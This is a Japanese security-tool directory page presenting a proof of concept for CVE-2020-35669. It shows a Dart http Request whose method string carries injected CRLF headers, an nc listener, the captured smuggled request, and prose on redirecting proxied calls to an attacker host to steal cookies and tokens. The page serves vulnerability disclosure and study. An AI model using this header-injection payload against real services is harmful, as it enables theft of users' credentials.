Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-35669 — CVE-2020-35669の概念実証エクスプロイト。Dartのhttpパッケージの細工されたメソッドパラメータを介したHTTPリクエストスマグリングとヘッダーインジェクションを実証し、リバースプロキシバイパスとホストヘッダー操作を可能にします。 | Kitploit
ツール/GitHubGitHub/n0npax/cve-2020-35669
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubn0npax/cve-2020-35669

CVE-2020-35669

CVE-2020-35669の概念実証エクスプロイト。Dartのhttpパッケージの細工されたメソッドパラメータを介したHTTPリクエストスマグリングとヘッダーインジェクションを実証し、リバースプロキシバイパスとホストヘッダー操作を可能にします。

リポジトリを見る
115年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-35669

ダミーサーバー

1つ目のターミナルでダミーサーバーを実行してください

root@kitploit:~
sudo nc -l 127.0.0.1 80 

指定された diff を適用

root@kitploit:~
diff --git a/main.dart b/main.dart
index 8c78291..a46f4d0 100644
--- a/main.dart
+++ b/main.dart
@@ -4,7 +4,7 @@ import 'package:http/src/request.dart';
 void main() async {
   var r = Request(
       "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
-      Uri(scheme: "http", path: "/llama", host: "google.com"));
+      Uri(scheme: "http", path: "/llama", host: "localhost"));
   var rs = await r.send();
   var resp = await Response.fromStream(rs);
   print('${resp.body}');

ダミーアプリを実行

2つ目のターミナルで を実行してください

main.dart
root@kitploit:~
dart run main.dart

結果

nc は以下のリクエストを受信するはずです

root@kitploit:~
GET HTTP://EXAMPLE.COM/ HTTP/1.1
HOST: EXAMPLE.COM
LLAMA: /llama HTTP/1.1
user-agent: Dart/2.10 (dart:io)
accept-encoding: gzip
content-length: 0
host: localhost

重要なコードの部分

root@kitploit:~
  var r = Request(
      "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\nLLAMA:",
      Uri(scheme: "http", path: "/llama", host: "google.com"));
  var rs = await r.send();

クリティカルパス

上記の diff が適用されておらず、ユーザーが rev-proxy の背後にいると仮定すると、example.com が提供するウェブサイトに到達した。

root@kitploit:~
dart run main.dart
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    ...
    ... blah blah blah
    

これがセキュリティリスクである理由

開発者がHTTP呼び出しの生成を抽象化するために Request を使用しており、ユーザーからメソッドパラメータを受け付けている場合、ユーザーはヘッダーインジェクションやパスフォージェリのような操作を行うことができる。 これは多くの方法で悪用される可能性があり、特にリバースプロキシが設置されている場合には非常に重要であると思われる。プロキシは host ヘッダーに基づいて誰かのリクエストを任意のホストに転送するだけかもしれない。 私が example.com を my-evil-uservice.org に置き換え、被害者がプロキシの背後にある会社で働いていると仮定しよう。つまり、ヘッダー/クッキー(トークン)付きの呼び出しをリダイレクトできるということだ。これに基づき、すべてのヘッダー/クッキーを含む呼び出しを盗むことが可能になる。

ツールをダウンロード